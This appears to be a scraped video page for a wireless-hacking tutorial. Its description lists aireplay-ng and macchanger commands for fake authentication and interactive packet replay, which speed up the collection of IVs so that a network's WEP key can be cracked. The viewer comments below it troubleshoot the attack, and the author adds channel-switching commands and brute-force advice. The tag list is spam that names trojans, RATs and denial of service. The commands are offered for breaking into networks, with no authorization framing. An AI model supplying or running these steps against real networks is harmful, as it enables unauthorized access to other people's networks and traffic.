Authenticate with Secured Networks and generate ARPs - Fake Authentication/Interactive Packet Replay

This video demonstrates a wireless hacking technique that can be used when no computers are on a network, no ARP Packets are being broadcasted, and Data-Flow (IV Sniffing) is going very slowly when hacking a wireless network. The techniques are incorporated with Aireplay-ng and are called Fake Authentication and Interfactive Packet Replay.

This video is made for those that have already watched my or someone else's wireless hacking video and understand the basic concepts and have either a Backtrack Live-CD or Virtual Machine (Or another Linux distro with Airmon-ng installed).

- Commands Used (Specific to Fake Authentication and Interactive Packet Replay)

macchanger -s wlan0
(Displays the Mac Address for my network interface. Please note that your interface may be called something else)

aireplay-ng -1 3000 -e [ESSID - Name of Network] -a [Mac Address of the Access Point] -h [Our systems Mac Address displayed in Macchanger] -o 1 -q 10 wlan0
(This is the command for Fake Authentication which basically tricks the Access Point into thinking your a legit system on the network allowing additional techniques to be applied. Once again your interface name may differ)

aireplay-ng -2 -b 00:1C:10:15:D3:B8 -h 00:15:af:01:9b:1c -c FF:FF:FF:FF:FF:FF -p 0841 wlan0
(This will be the command for Interactive Packet Replay which allows you to collect packets and once obtained, replay (inject) the packets allowing Data/IV's to collected much faster

After this you can proceed with the airodump-ng as usual in the other Shell Konsole and crack as usual.

Category:

Howto & Style

Tags:

• Bypass
• Exploit
• WPA
• RAT
• FUD
• Trojan
• Back
• Door
• Legal
• Best
• Quick
• Easiest
• Virus
• Security
• Maintain
• System
• Performance
• Optimize
• Script
• Network
• Internet
• How
• To
• Stop
• Friend
• Speed
• Fast
• Hack
• Root
• Denial
• Service
• Tweak
• Config
• Alter
• Make
• IP
• Command
• Prompt
• Really
• ISO
• Data
• Base
• Program
• WEP
• WPA2
• Application
• Crack
• Reverse
• Engineer
• Key
• Gen
• Bash
• Linux
• Windows
• Unix
• MAC
• PC
• Lap
• Top
• Desk
• Hard
• Magic
• PowerAmazing
• Funny
• Ha
• Omg
• Rofl
• Visual
• Basic
• Out
• Print
• Code
• Compile
• De
• HTML
• Python
• 1337
• Pro
• Nub

[danoxx2]

i know this is not the right vid to comment on wpa but i will first of all when a wpa,key is for ex.6t7eg7dh00e8he7 how would it be possible to get this key is the only option brute force???? if it is can u please make a vid or is this unrealistic of me to ask you to do this because i have heard this can take days love ur other vids.

danoxx2

[mushroomHEADBANGERS]

Their are two types of Brute-Forcing. True brute forcing basically means that you try every possible combination of characters (With rules in place to restrict size, letters, etc..) which can take a very long time depending on the rules in place. By long time I mean over a year in some cases :P

The other variant is utilizing wordlists which in your case would prove worthless. However, you can incorporate the two by using John The Ripper. It allows you to add extra characters and so forth.

[696reavers]

Hi all when I get to this bit:

aireplay-ng -1 3000 -e [ESSID - Name of Network] -a [Mac Address of the Access Point] -h [Our systems Mac Address displayed in Macchanger] -o 1 -q 10 wlan0

and hit enter it trys to work but dose not use the correct channel insted of using channel 6 it uses 9 and then gives the an error of incorect bssid

the bssid is correct as to are the mac and router numbers.

any idea thanks

[mushroomHEADBANGERS]

Sorry for the late reply, I've been AFK. You can change your channel by doing this:

airmon-ng stop [ADAPTER] check kill

airmon-ng [ADAPTER] start 6

And you can also try this if you have issues with the above mentioned:

iwconfig [ADAPTER] channel 6

[SuperHighlander1996]

nice tutorial man thanks a lot !!!!

[arnoud106]

Thnx for this great tutorial!

I got the packets send, but aircrack doesn't find the key (even after 600.000+ data)

I tested this on my own network with no computer attached (no wirless and no wired).

What i am doing wrong? I followed all your steps above!

[kt19961996]

You rock !!!!! and by the way r there any more bt tutorials of urs ?????

[irefrem]

When I run interactive packet replay - it stops after ~10 packets... Is there a way to make it run longer to collect more packets?

[LilJProductionz2011]

HOW DO YOU CHECK TO SEE IF MAC address filtering is enabled

[LilJProductionz2011]

HOW DO YOU LOWER TRANSMIT RATE???????????

[wedingo]

Fake Authentication failed on me too, i checked everything to be correct (used the right channel and macs) and no results, it just keeps sending "Sending Authentication Request (Open System)".

I also used the "check kill" to restart my adapter to the right channel and it didn't work :(

[xxxxfatcatxxxx]

when im trying to do the intreractive packet replay it just keep saying read (packets number) packets and it already went up to 98,000 packets and keep going for like 10 minutes already

[xXCyrax002Xx]

@tayjay1983 its not -9 10 its -q 10

[xXCyrax002Xx]

I am capturing data packets really slowly so i tried ur first option but when i put it in this is what i get out:

21:37:29 Sending Authentication Request (Open System)

21:37:31 Sending Authentication Request (Open System)

21:37:33 Sending Authentication Request (Open System)

21:37:35 Sending Authentication Request (Open System)

21:37:37 Sending Authentication Request (Open System)

until it stops i know i put the correct info in but this still happens any ideas?